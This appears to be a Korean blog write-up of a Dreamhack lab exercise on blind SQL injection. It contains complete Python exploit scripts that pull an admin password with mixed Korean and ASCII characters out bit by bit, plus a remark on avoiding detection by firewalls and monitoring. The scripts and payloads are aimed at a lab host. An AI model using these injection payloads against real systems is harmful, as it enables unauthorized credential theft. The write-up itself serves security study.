from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
문제 : https://learn.dreamhack.io/313
- Blind SQL Injection 공격을 진행할 때 데이터가 반드시 아스키 범위로 구성되었을 것이라는 고정관념을 가지지 말아야 한다.
- 이 문제에서 utf-8언어셋에서 한글은 11,172개의 경우의 수가 존재하기 때문에 이를 순차적으로 증가하면서 브루트포싱하는 것은 굉장히 비효율이며, 브루트포싱을 과도하게 진행할 경우 추출 시간이 오래 소요되는 것은 물론이고, 방화벽 및 관제 등에 의해 탐지될 가능성이 매우 높아진다.
- 따라서 비트 연산을 통해 공격하는 방식을 선택한다.
1. 문제 분석
- Flag는 admin 계정의 비밀번호이며, 한글과 아스키 코드의 조합으로 이루어져 있다.
- 웹 서버에서 입력은 별도의 검증 없이 바로 mysql 쿼리에 활용되므로, SQL Injection 공격이 가능하다.
- SQL Injection Test
1) ' or 1=1 limit 0,1-- : 참이므로 문구 출력
2) ' or 1=1 limit 0,1-- :거짓이므로 문구 미출력
3) 이외 에러 화면은 쿼리 문법 오류
※ limit 0,1을 사용하는 이유 : 0번째부터 1개 출력, 웹 서버 코드에서 결과가 한 줄이어야만 표시하도록 되어 있기 때문이다.
※ 쿼리 맨 뒤에 띄어쓰기가 있는 이유 : mysql에서의 주석은 #, --, /**/ 가 있는데 이 중 --는 뒤에 공백이 한 칸 있어야 주석으로 해석한다.
2. 익스플로잇
1) admin 패스워드 길이 찾기 : 먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 한다.
- MySQL에서 문자열의 길이를 알아내는 함수로는 length와 char_length가 있다. 이 중 length 함수는 바이트 형태의 길이를 반환하는 함수이기 때문에, 만약 패스워드가 아스키 코드로 이루어져 있지 않다면 정확한 패스워드의 길이를 알아낼 수가 없다. 따라서 문자열 인코딩에 따른 정확한 길이를 반환하기 위해서는 char_length 함수를 사용해야 한다.
# 코드 1)
from requests import get
host = "(host 값)"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
else:
print("not exists... next step")
print(f"password length: {password_length}")
2) 각 문자 별 비트열 길이 찾기
- 패스워드의 각 문자가 한글인지 아스키 코드인지 알 수 없기 때문에 비트열로 변환하여 추출하기 전에 각 비트열의 길이를 찾아야 한다.
- admin 패스워드의 길이를 찾을 때와 동일한 방식으로 찾을 수 있으며, 비트열은 모두 0과 1 로 이루어져있기 때문에 일반적인 length 함수를 사용하여도 무방하다.
- 각 문자 별 비트열 길이를 찾기 위해 다음과 같은 형태로 쿼리를 작성할 수 있다 :
admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -
(*) bin : 해당 값을 2진수 형태로 변환해 준다.
(*) ord : 만약 해당 문자가 멀티바이트 문자인 경우, 특정 공식에 따라 계산한 숫자를 반환한다. 멀티바이트 문자가 아닌 경우 ascii 함수와 동일하게 동작한다.
- https://domdom.tistory.com/245
- https://linarena.github.io/web_0x04
# 코드 1)
...
# 코드 2)
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
# 각 글자의 bit 길이를 알아내기 위한 쿼리문
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
3) 각 문자 별 비트열 추출
- 각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 한다.
- 비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있다 :
admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -
# 코드 1)
# 코드 2)
...
# 코드 3)
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
4) 비트열을 문자로 변환
- 패스워드의 각 비트열을 모두 추출했다면, 이를 다시 문자로 변환해주어야 한다. 이 때 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해 주어야 한다.
- 예를 들어, 가 의 경우 utf-8로 인코딩하였을 때 \xea\xb0\x80 로 표현된다. 이를 비트열로 표현하면 111010101011000010000000가 되는데, 비트열을 다시 문자로 변환하기 위해서는 다음과 같은 순서로 진행해야 한다.
- 비트열을 정수로 변환
- 정수를 Big Endian 형태의 문자로 변환
- 변환된 문자를 인코딩에 맞게 변환
이렇게 하면 최종적으로 admin의 비밀번호를 획득할 수 있다.
# 코드 1)
# 코드 2)
# 코드 3)
...
# 코드 4)
password = ""
for i in range(1, password_length + 1):
...
# int.to_bytes((변환하려는 값), (비트 길이), (big/little 엔디안 선택))
# int(bits, 2).to_bytes(bit_length, byteorder="big").decode("utf-8") 도 가능함
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
5) 최종 익스플로잇 코드
from requests import get
host = "(호스트)"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
'프로그래밍 > 해킹' 카테고리의 다른 글
Exercise: SQL Injection Bypass WAF (0) | 2024.07.02 |
---|---|
Bypass WAF (0) | 2024.07.02 |
DBMS Fingerprinting (0) | 2024.07.01 |
해킹 공부할 때 참조하면 좋은 것 (0) | 2024.06.26 |
맥북 시스템 해킹(Pwnable, Reversing) 환경 구성 (0) | 2024.06.26 |